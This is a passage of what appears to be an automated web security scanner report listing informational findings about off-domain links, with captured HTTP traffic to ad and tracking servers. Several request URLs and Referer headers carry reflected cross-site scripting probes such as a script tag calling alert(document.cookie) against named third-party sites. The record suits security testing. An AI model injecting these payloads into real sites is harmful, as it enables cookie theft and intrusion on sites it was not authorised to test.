http://idcs.interclick.com/Segment.aspx?sid=09702beb-9542-4386-99e6-df305b62b1f7
http://pixel.33across.com/ps/?pid=114&cgn=13694&seg=5360
http://pixel.quantserve.com/pixel/p-47KxgQjg-g7Tg.gif?labels=_fp.event.Landing+Page
http://segment-pixel.invitemedia.com/pixel?pixelID=13746&partnerID=77&clientID=1679&key=segment
http://redacted/action/mmn_amexpersonalsavingslp2
http://www.googleadservices.com/pagead/conversion/1032222048/?label=gyd3CLSH0wEQ4OqZ7AM&guid=ON&script=0
https://bp.specificclick.net/?pixid=99009030
https://secure.leadback.advertising.com/adcedge/lb?site=695501&srvc=1&betr=personalsave_cs=1&betq=11242=420596

Request

GET /activityi;src=189445;type=amexo204;cat=2009a134;ord=1;num=3654638226144.0156? HTTP/1.1
Host: fls.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://personalsavings.americanexpress.com/savings-product.html
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c653243310000d9|189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc

Response

HTTP/1.1 200 OK
X-Frame-Options: ALLOWALL
Server: Floodlight
Date: Sat, 05 Feb 2011 21:49:15 GMT
Expires: Sat, 05 Feb 2011 21:49:15 GMT
Cache-Control: private, max-age=0
X-Content-Type-Options: nosniff
Content-Type: text/html
X-XSS-Protection: 1; mode=block
Content-Length: 3417

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><html><head><title></title></head><body style="background-color: transparent"><img src="http://idcs.interclick.com/Segment.aspx?sid=09702beb-9542-4386-99e6-df305b62b1f7"/><img src="http://ads.bluelithium.com/pixel?id=490573&t=2" width="1" height="1" />
<img src="http://ad.yieldmanager.com/pixel?id=768165&id=555908&id=103817&t=2" width="1" height="1" />
<img height="1" width="1" style="border-style:none;" alt="" src="http://www.googleadservices.com/pagead/conversion/1032222048/?label=gyd3CLSH0wEQ4OqZ7AM&guid=ON&script=0"/><script type="text/javascript" src="http://cti.w55c.net/ct/ct-9a1aa4d008a54ee8b25fb4f525313bcc.js?"></script>
...[SNIP]...

<img src="http://pixel.33across.com/ps/?pid=114&cgn=13694&seg=5360"style="visibility:hidden;width:1px;height:1px;">

<img src='http://a.rfihub.com/ca.gif?rb=233&ca=20472701&ct=728106282 height=0 width=0 style='display:none'/>
...[SNIP]...
</script>
<script type="text/javascript" src="http://edge.quantserve.com/quant.js"></script>
<noscript>
<img src="http://pixel.quantserve.com/pixel/p-47KxgQjg-g7Tg.gif?labels=_fp.event.Landing+Page" style="display: none;" border="0" height="1" width="1" alt="Quantcast"/>
</noscript>
...[SNIP]...

<img src="https://secure.leadback.advertising.com/adcedge/lb?site=695501&srvc=1&betr=personalsave_cs=1&betq=11242=420596" width = "1" height = "1" border = "0">
...[SNIP]...

<img src="http://segment-pixel.invitemedia.com/pixel?pixelID=13746&partnerID=77&clientID=1679&key=segment" width="1" height="1" />
<img width="1" height="1" src="http://action.media6degrees.com/orbserv/hbpix?pixId=3013" />
<img height="1" width="1" src="http://view.atdmt.com/action/mmn_amexpersonalsavingslp2"/><IMG SRC="https://bp.specificclick.net?pixid=99009030" width=0 height=0 border=0></body>
...[SNIP]...

20.24. http://fls.doubleclick.net/activityi previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://fls.doubleclick.net
Path:	/activityi

Issue detail

The page was loaded from a URL containing a query string:

http://fls.doubleclick.net/activityi;src=189445;type=amexo204;cat=2009a134;ord=1;num=3654638226144.0156?

The response contains the following links to other domains:

http://a.rfihub.com/ca.gif?rb=233&ca=20472701&ct=1910873735 height=0 width=0 style=
http://action.media6degrees.com/orbserv/hbpix?pixId=3013
http://ad.yieldmanager.com/pixel?id=768165&id=555908&id=103817&t=2
http://ads.bluelithium.com/pixel?id=490573&t=2
http://cti.w55c.net/ct/ct-9a1aa4d008a54ee8b25fb4f525313bcc.js?
http://edge.quantserve.com/quant.js
http://idcs.interclick.com/Segment.aspx?sid=09702beb-9542-4386-99e6-df305b62b1f7
http://pixel.33across.com/ps/?pid=114&cgn=13694&seg=5360
http://pixel.quantserve.com/pixel/p-47KxgQjg-g7Tg.gif?labels=_fp.event.Landing+Page
http://segment-pixel.invitemedia.com/pixel?pixelID=13746&partnerID=77&clientID=1679&key=segment
http://redacted/action/mmn_amexpersonalsavingslp2
http://www.googleadservices.com/pagead/conversion/1032222048/?label=gyd3CLSH0wEQ4OqZ7AM&guid=ON&script=0
https://bp.specificclick.net/?pixid=99009030
https://secure.leadback.advertising.com/adcedge/lb?site=695501&srvc=1&betr=personalsave_cs=1&betq=11242=420596

Request

Response

HTTP/1.1 200 OK
X-Frame-Options: ALLOWALL
Server: Floodlight
Date: Sat, 05 Feb 2011 21:49:43 GMT
Expires: Sat, 05 Feb 2011 21:49:43 GMT
Cache-Control: private, max-age=0
X-Content-Type-Options: nosniff
Content-Type: text/html
X-XSS-Protection: 1; mode=block
Content-Length: 3419

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><html><head><title></title></head><body style="background-color: transparent"><img src="http://idcs.interclick.com/Segment.aspx?sid=09702beb-9542-4386-99e6-df305b62b1f7"/><img src="http://ads.bluelithium.com/pixel?id=490573&t=2" width="1" height="1" />
<img src="http://ad.yieldmanager.com/pixel?id=768165&id=555908&id=103817&t=2" width="1" height="1" />
<img height="1" width="1" style="border-style:none;" alt="" src="http://www.googleadservices.com/pagead/conversion/1032222048/?label=gyd3CLSH0wEQ4OqZ7AM&guid=ON&script=0"/><script type="text/javascript" src="http://cti.w55c.net/ct/ct-9a1aa4d008a54ee8b25fb4f525313bcc.js?"></script>
...[SNIP]...

<img src="http://pixel.33across.com/ps/?pid=114&cgn=13694&seg=5360"style="visibility:hidden;width:1px;height:1px;">

<img src='http://a.rfihub.com/ca.gif?rb=233&ca=20472701&ct=1910873735 height=0 width=0 style='display:none'/>
...[SNIP]...
</script>
<script type="text/javascript" src="http://edge.quantserve.com/quant.js"></script>
<noscript>
<img src="http://pixel.quantserve.com/pixel/p-47KxgQjg-g7Tg.gif?labels=_fp.event.Landing+Page" style="display: none;" border="0" height="1" width="1" alt="Quantcast"/>
</noscript>
...[SNIP]...

<img src="https://secure.leadback.advertising.com/adcedge/lb?site=695501&srvc=1&betr=personalsave_cs=1&betq=11242=420596" width = "1" height = "1" border = "0">
...[SNIP]...

<img src="http://segment-pixel.invitemedia.com/pixel?pixelID=13746&partnerID=77&clientID=1679&key=segment" width="1" height="1" />
<img width="1" height="1" src="http://action.media6degrees.com/orbserv/hbpix?pixId=3013" />
<img height="1" width="1" src="http://view.atdmt.com/action/mmn_amexpersonalsavingslp2"/><IMG SRC="https://bp.specificclick.net?pixid=99009030" width=0 height=0 border=0></body>
...[SNIP]...

20.25. http://googleads.g.doubleclick.net/pagead/ads previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://googleads.g.doubleclick.net
Path:	/pagead/ads

Issue detail

The page was loaded from a URL containing a query string:

http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-9271629784327781&output=html&h=280&slotname=7244137567&w=336&lmt=1296964094&ad_type=image&flash=10.1.103&url=http%3A%2F%2Fwww.download32.com%2Fnslookup-software.html&dt=1296942494688&shv=r20101117&jsv=r20110120&saldr=1&prev_slotnames=7244137567&correlator=1296942493219&frm=0&adk=1246736332&ga_vid=1765803017.1296942493&ga_sid=1296942493&ga_hid=700410190&ga_fc=0&u_tz=-360&u_his=1&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=985&bih=996&fu=0&ifi=2&dtd=8&xpc=nlVGZFhodN&p=http%3A//www.download32.com

The response contains the following links to other domains:

http://pagead2.googlesyndication.com/pagead/abglogo/abg-en-100c-ffffff.png
http://pagead2.googlesyndication.com/pagead/images/i.png
http://pagead2.googlesyndication.com/pagead/js/abg.js
http://pagead2.googlesyndication.com/pagead/js/graphics.js
http://www.google.com/url?ct=abg&q=https://www.google.com/adsense/support/bin/request.py%3Fcontact%3Dabg_afc%26url%3Dhttp://www.downlinx.com/nslookup-software.html%26hl%3Den%26client%3Dca-pub-9271629784327781%26adU%3Dwww.fi.com%26adT%3DImageAd%26gl%3DUS&usg=AFQjCNGGHfdEeaTr-et-9imTMIuNLMfTZg

Request

GET /pagead/ads?client=ca-pub-9271629784327781&output=html&h=280&slotname=7244137567&w=336&lmt=1296964094&ad_type=image&flash=10.1.103&url=http%3A%2F%2Fwww.download32.com%2Fnslookup-software.html&dt=1296942494688&shv=r20101117&jsv=r20110120&saldr=1&prev_slotnames=7244137567&correlator=1296942493219&frm=0&adk=1246736332&ga_vid=1765803017.1296942493&ga_sid=1296942493&ga_hid=700410190&ga_fc=0&u_tz=-360&u_his=1&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=985&bih=996&fu=0&ifi=2&dtd=8&xpc=nlVGZFhodN&p=http%3A//www.download32.com HTTP/1.1
Host: googleads.g.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.download32.com/nslookup-software.html
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c653243310000d9|2818894/957634/15009,2409535/850532/15008,189445/526157/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc

Response

20.26. http://googleads.g.doubleclick.net/pagead/ads previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://googleads.g.doubleclick.net
Path:	/pagead/ads

Issue detail

The page was loaded from a URL containing a query string:

http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-7272189955621553&output=html&h=90&slotname=7192921606&w=728&lmt=1297030549&flash=10.1.103&url=http%3A%2F%2Fwww.kledy.it%2F%3F44921%2522%253E%253Cscript%253Ealert(String.fromCharCode(88%2C83%2C83))%253C%2Fscript%253E107b665304c%3D1&dt=1297008949525&shv=r20101117&jsv=r20110120&saldr=1&correlator=1297008949566&frm=0&adk=603134447&ga_vid=323549207.1297008950&ga_sid=1297008950&ga_hid=1569237615&ga_fc=0&u_tz=-360&u_his=2&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=1001&bih=1031&eid=30143103&ref=http%3A%2F%2Fburp%2Fshow%2F67&fu=0&ifi=1&dtd=159&xpc=A9LwpWNWXs&p=http%3A//www.kledy.it

The response contains the following link to another domain:

http://www.google.com/url?ct=abg&q=https://www.google.com/adsense/support/bin/request.py%3Fcontact%3Dabg_afc%26url%3Dhttp://www.kledy.it/%253F44921%252522%25253E%25253Cscript%25253Ealert(String.fromCharCode(88,83,83))%25253C/script%25253E107b665304c%253D1%26hl%3Den%26client%3Dca-pub-7272189955621553%26adU%3Dwww.PlentyofFish.com%26adT%3DImageAd%26gl%3DUS&usg=AFQjCNFGvCHl7MjlgOtuVtdGhwhIJ9nUPA

Request

GET /pagead/ads?client=ca-pub-7272189955621553&output=html&h=90&slotname=7192921606&w=728&lmt=1297030549&flash=10.1.103&url=http%3A%2F%2Fwww.kledy.it%2F%3F44921%2522%253E%253Cscript%253Ealert(String.fromCharCode(88%2C83%2C83))%253C%2Fscript%253E107b665304c%3D1&dt=1297008949525&shv=r20101117&jsv=r20110120&saldr=1&correlator=1297008949566&frm=0&adk=603134447&ga_vid=323549207.1297008950&ga_sid=1297008950&ga_hid=1569237615&ga_fc=0&u_tz=-360&u_his=2&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=1001&bih=1031&eid=30143103&ref=http%3A%2F%2Fburp%2Fshow%2F67&fu=0&ifi=1&dtd=159&xpc=A9LwpWNWXs&p=http%3A//www.kledy.it HTTP/1.1
Host: googleads.g.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.kledy.it/?44921%22%3E%3Cscript%3Ealert(String.fromCharCode(88,83,83))%3C/script%3E107b665304c=1
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c653243310000d9|189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc

Response

20.27. http://googleads.g.doubleclick.net/pagead/ads previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://googleads.g.doubleclick.net
Path:	/pagead/ads

Issue detail

The page was loaded from a URL containing a query string:

http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-5112821747420583&format=336x280_as&output=html&h=280&w=336&lmt=1296965252&channel=2020812945&ad_type=text_image&alt_color=EFF3F7&color_bg=EFF3F7&color_border=EFF3F7&color_link=2490D2&color_text=000000&color_url=5C5C5C&flash=10.1.103&url=http%3A%2F%2Fwww.filetransit.com%2Fdemo.php%3F6e3f0%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E6896f2e55e7%3D1&dt=1296943652258&shv=r20101117&jsv=r20110120&saldr=1&correlator=1296943652281&frm=0&adk=871793777&ga_vid=67021654.1296943652&ga_sid=1296943652&ga_hid=914616203&ga_fc=0&u_tz=-360&u_his=2&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=969&bih=1012&eid=36815002&ref=http%3A%2F%2Fburp%2Fshow%2F7&fu=0&ifi=1&dtd=80&xpc=SbKz6UFPiZ&p=http%3A//www.filetransit.com

The response contains the following links to other domains:

http://pagead2.googlesyndication.com/pagead/abglogo/abg-en-100c-ffffff.png
http://pagead2.googlesyndication.com/pagead/images/i.png
http://pagead2.googlesyndication.com/pagead/js/abg.js
http://pagead2.googlesyndication.com/pagead/js/graphics.js
http://www.google.com/url?ct=abg&q=https://www.google.com/adsense/support/bin/request.py%3Fcontact%3Dabg_afc%26url%3Dhttp://www.filetransit.com/demo.php%253F6e3f0%252522%25253E%25253Cscript%25253Ealert(document.cookie)%25253C/script%25253E6896f2e55e7%253D1%26hl%3Den%26client%3Dca-pub-5112821747420583%26adU%3Dwww.avs4you.com/AVS-Video-Converter%26adT%3DImageAd%26gl%3DUS&usg=AFQjCNGOi4wVmdACSgh4w747GGXvCSNaFw

Request

GET /pagead/ads?client=ca-pub-5112821747420583&format=336x280_as&output=html&h=280&w=336&lmt=1296965252&channel=2020812945&ad_type=text_image&alt_color=EFF3F7&color_bg=EFF3F7&color_border=EFF3F7&color_link=2490D2&color_text=000000&color_url=5C5C5C&flash=10.1.103&url=http%3A%2F%2Fwww.filetransit.com%2Fdemo.php%3F6e3f0%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E6896f2e55e7%3D1&dt=1296943652258&shv=r20101117&jsv=r20110120&saldr=1&correlator=1296943652281&frm=0&adk=871793777&ga_vid=67021654.1296943652&ga_sid=1296943652&ga_hid=914616203&ga_fc=0&u_tz=-360&u_his=2&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=969&bih=1012&eid=36815002&ref=http%3A%2F%2Fburp%2Fshow%2F7&fu=0&ifi=1&dtd=80&xpc=SbKz6UFPiZ&p=http%3A//www.filetransit.com HTTP/1.1
Host: googleads.g.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.filetransit.com/demo.php?6e3f0%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E6896f2e55e7=1
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c653243310000d9|189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc

Response

20.28. http://googleads.g.doubleclick.net/pagead/ads previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://googleads.g.doubleclick.net
Path:	/pagead/ads

Issue detail

The page was loaded from a URL containing a query string:

http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-6422417422167576&output=html&h=280&slotname=3486164594&w=336&lmt=1297020079&flash=10.1.103&url=http%3A%2F%2Fwww.baselinemag.com%2Fc%2Fa%2FIT-Management%2FMacys-Ramps-Up-Online-Operations-637464%2F&dt=1296998540177&shv=r20101117&jsv=r20110120&saldr=1&correlator=1296998540308&frm=0&adk=2059201820&ga_vid=1274416164.1296998524&ga_sid=1296998524&ga_hid=568242837&ga_fc=1&ga_wpids=UA-2464436-2&u_tz=-360&u_his=2&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=985&bih=1015&ref=http%3A%2F%2Fburp%2Fshow%2F45&fu=0&ifi=1&dtd=298&xpc=lEnsqyynL3&p=http%3A//www.baselinemag.com

The response contains the following links to other domains:

http://pagead2.googlesyndication.com/pagead/abglogo/abg-en-100c-000000.png
http://pagead2.googlesyndication.com/pagead/sma8.js
http://www.google.com/url?ct=abg&q=https://www.google.com/adsense/support/bin/request.py%3Fcontact%3Dabg_afc%26url%3Dhttp://www.baselinemag.com/c/a/IT-Management/Macys-Ramps-Up-Online-Operations-637464/%26hl%3Den%26client%3Dca-pub-6422417422167576%26adU%3Dwww.Groupon.com/Grand-Rapids%26adT%3DGrand%2BRapids%2BCoupons%26adU%3Dwww.Moxiesoft.com%26adT%3DMoxie%2BLive%2BChat%2BSolutions%26adU%3Dwww.AmeriCommerce.com%26adT%3DBest%2BeCommerce%2BSolution%26adU%3Dwww.Innotas.com%26adT%3DOn-Demand%2BIT%2BGovernance%26gl%3DUS&usg=AFQjCNG3k26vJ0_11SAE7_3gBYl-HO5y-w

Request

GET /pagead/ads?client=ca-pub-6422417422167576&output=html&h=280&slotname=3486164594&w=336&lmt=1297020079&flash=10.1.103&url=http%3A%2F%2Fwww.baselinemag.com%2Fc%2Fa%2FIT-Management%2FMacys-Ramps-Up-Online-Operations-637464%2F&dt=1296998540177&shv=r20101117&jsv=r20110120&saldr=1&correlator=1296998540308&frm=0&adk=2059201820&ga_vid=1274416164.1296998524&ga_sid=1296998524&ga_hid=568242837&ga_fc=1&ga_wpids=UA-2464436-2&u_tz=-360&u_his=2&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=985&bih=1015&ref=http%3A%2F%2Fburp%2Fshow%2F45&fu=0&ifi=1&dtd=298&xpc=lEnsqyynL3&p=http%3A//www.baselinemag.com HTTP/1.1
Host: googleads.g.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.baselinemag.com/c/a/IT-Management/Macys-Ramps-Up-Online-Operations-637464/
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c653243310000d9|189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc

Response

20.29. http://googleads.g.doubleclick.net/pagead/ads previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://googleads.g.doubleclick.net
Path:	/pagead/ads

Issue detail

The page was loaded from a URL containing a query string:

http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-7272189955621553&output=html&h=60&slotname=0592282731&w=468&lmt=1297034076&flash=10.1.103&url=http%3A%2F%2Fwww.peppernews.eu%2F%3Fd7d65%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253Ef6336f06cd4%3D1&dt=1297012476845&shv=r20101117&jsv=r20110120&saldr=1&correlator=1297012476891&frm=0&adk=3543896621&ga_vid=659626106.1297012477&ga_sid=1297012477&ga_hid=354845991&ga_fc=0&u_tz=-360&u_his=2&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=1001&bih=1031&ref=http%3A%2F%2Fburp%2Fshow%2F96&fu=0&ifi=1&dtd=71&xpc=2VY2xgSTWw&p=http%3A//www.peppernews.eu

The response contains the following links to other domains:

http://pagead2.googlesyndication.com/pagead/abglogo/abg-en-100c-ffffff.png
http://pagead2.googlesyndication.com/pagead/images/i.png
http://pagead2.googlesyndication.com/pagead/js/abg.js
http://pagead2.googlesyndication.com/pagead/js/graphics.js
http://www.google.com/url?ct=abg&q=https://www.google.com/adsense/support/bin/request.py%3Fcontact%3Dabg_afc%26url%3Dhttp://www.peppernews.eu/%253Fd7d65%252522%25253E%25253Cscript%25253Ealert(document.cookie)%25253C/script%25253Ef6336f06cd4%253D1%26hl%3Den%26client%3Dca-pub-7272189955621553%26adU%3Dwww.facebook.com%26adT%3DImageAd%26gl%3DUS&usg=AFQjCNHPKp8klJzyZCM7jcc-v9FuphHlAw

Request

GET /pagead/ads?client=ca-pub-7272189955621553&output=html&h=60&slotname=0592282731&w=468&lmt=1297034076&flash=10.1.103&url=http%3A%2F%2Fwww.peppernews.eu%2F%3Fd7d65%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253Ef6336f06cd4%3D1&dt=1297012476845&shv=r20101117&jsv=r20110120&saldr=1&correlator=1297012476891&frm=0&adk=3543896621&ga_vid=659626106.1297012477&ga_sid=1297012477&ga_hid=354845991&ga_fc=0&u_tz=-360&u_his=2&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=1001&bih=1031&ref=http%3A%2F%2Fburp%2Fshow%2F96&fu=0&ifi=1&dtd=71&xpc=2VY2xgSTWw&p=http%3A//www.peppernews.eu HTTP/1.1
Host: googleads.g.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.peppernews.eu/?d7d65%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ef6336f06cd4=1
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c653243310000d9|189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc

Response

20.30. http://googleads.g.doubleclick.net/pagead/ads previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://googleads.g.doubleclick.net
Path:	/pagead/ads

Issue detail

The page was loaded from a URL containing a query string:

http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-0813152173226346&output=html&h=60&slotname=3865030659&w=468&lmt=1296964141&flash=10.1.103&hl=en&url=http%3A%2F%2Fwww.orthougm.com%2Fnslookup.html&dt=1296942541105&shv=r20101117&jsv=r20110120&saldr=1&prev_slotnames=8833934355%2C8094259765&correlator=1296942541039&frm=0&adk=2767130245&ga_vid=429166960.1296942499&ga_sid=1296942499&ga_hid=1376755848&ga_fc=1&u_tz=-360&u_his=1&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=969&bih=1012&fu=0&ifi=3&dtd=2&xpc=Xy7AnMZmbk&p=http%3A//www.orthougm.com

The response contains the following links to other domains:

http://pagead2.googlesyndication.com/pagead/abglogo/abg-en-100c-000000.png
http://pagead2.googlesyndication.com/pagead/sma8.js
http://www.google.com/url?ct=abg&q=https://www.google.com/adsense/support/bin/request.py%3Fcontact%3Dabg_afc%26url%3Dhttp://www.orthougm.com/nslookup.html%26hl%3Den%26client%3Dca-pub-0813152173226346%26adU%3Dwww.Groupon.com/Grand-Rapids%26adT%3DGrand%2BRapids%2BCoupons%26gl%3DUS&usg=AFQjCNFGODO10eheGWaYOgYRBXOfwdUJJw

Request

GET /pagead/ads?client=ca-pub-0813152173226346&output=html&h=60&slotname=3865030659&w=468&lmt=1296964141&flash=10.1.103&hl=en&url=http%3A%2F%2Fwww.orthougm.com%2Fnslookup.html&dt=1296942541105&shv=r20101117&jsv=r20110120&saldr=1&prev_slotnames=8833934355%2C8094259765&correlator=1296942541039&frm=0&adk=2767130245&ga_vid=429166960.1296942499&ga_sid=1296942499&ga_hid=1376755848&ga_fc=1&u_tz=-360&u_his=1&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=969&bih=1012&fu=0&ifi=3&dtd=2&xpc=Xy7AnMZmbk&p=http%3A//www.orthougm.com HTTP/1.1
Host: googleads.g.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.orthougm.com/nslookup.html
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c653243310000d9|2818894/957634/15009,2409535/850532/15008,189445/526157/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc

Response

20.31. http://googleads.g.doubleclick.net/pagead/ads previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://googleads.g.doubleclick.net
Path:	/pagead/ads

Issue detail

The page was loaded from a URL containing a query string:

http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-0813152173226346&output=html&h=60&slotname=3865030659&w=468&lmt=1296964160&flash=10.1.103&hl=en&url=http%3A%2F%2Fwww.orthougm.com%2F&dt=1296942560320&shv=r20101117&jsv=r20110120&saldr=1&prev_slotnames=8833934355%2C8094259765&correlator=1296942560294&frm=0&adk=2257162608&ga_vid=429166960.1296942499&ga_sid=1296942499&ga_hid=1263121855&ga_fc=1&u_tz=-360&u_his=2&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=969&bih=1012&ref=http%3A%2F%2Fwww.orthougm.com%2Fnslookup.html&fu=0&ifi=3&dtd=3&xpc=dnlnsmkeRR&p=http%3A//www.orthougm.com

The response contains the following link to another domain:

http://cdn.w55c.net/i/0R8lWflQ0f_326769041.html?rtbhost=rts-rr13.sldc.dataxu.net&btid=NEQ0REM1Q0QwMDA0QTNFOTBBRTU3QjE0RTUzMDI5NkN8ZDA3NTFmYzItZjJkNS00NTY4LTlmMDMtMjJjYjVmZDA3NTU4fDEyOTY5NDI1NDI5NzF8MXwwRnJrVmZKY3hBfDBSOGxXZmxRMGZ8TURvMGxWVzRKS0RNNkxyVkdqdDV2ZUtjdUJINjNiV1F8&ei=GOOGLE_CONTENTNETWORK&wp_exchange=TU3FzQAEo-kK5XsU5TApbEC2JVNdMc7sOaGvXw&euid=Q0FFU0VDSUFxLVBVbW8yVVJpZkRFMzFLLTJB&slotid=MQ&fiu=MEZya1ZmSmN4QQ&ciu=MFI4bFdmbFEwZg&reqid=NEQ0REM1Q0QwMDA0QTNFOTBBRTU3QjE0RTUzMDI5NkM&ccw=SUFCNyMwLjB8SUFCMiMwLjB8SUFCMyMwLjB8SUFCNyMwLjB8SUFCMiMwLjB8SUFCMyMwLjA&epid=&bp=4400&dv=&dm=&dc=&os=&scres=&gen=&age=&zc=NzUyMDc&s=http%3A%2F%2Fwww.orthougm.com%2F&refurl=

Request

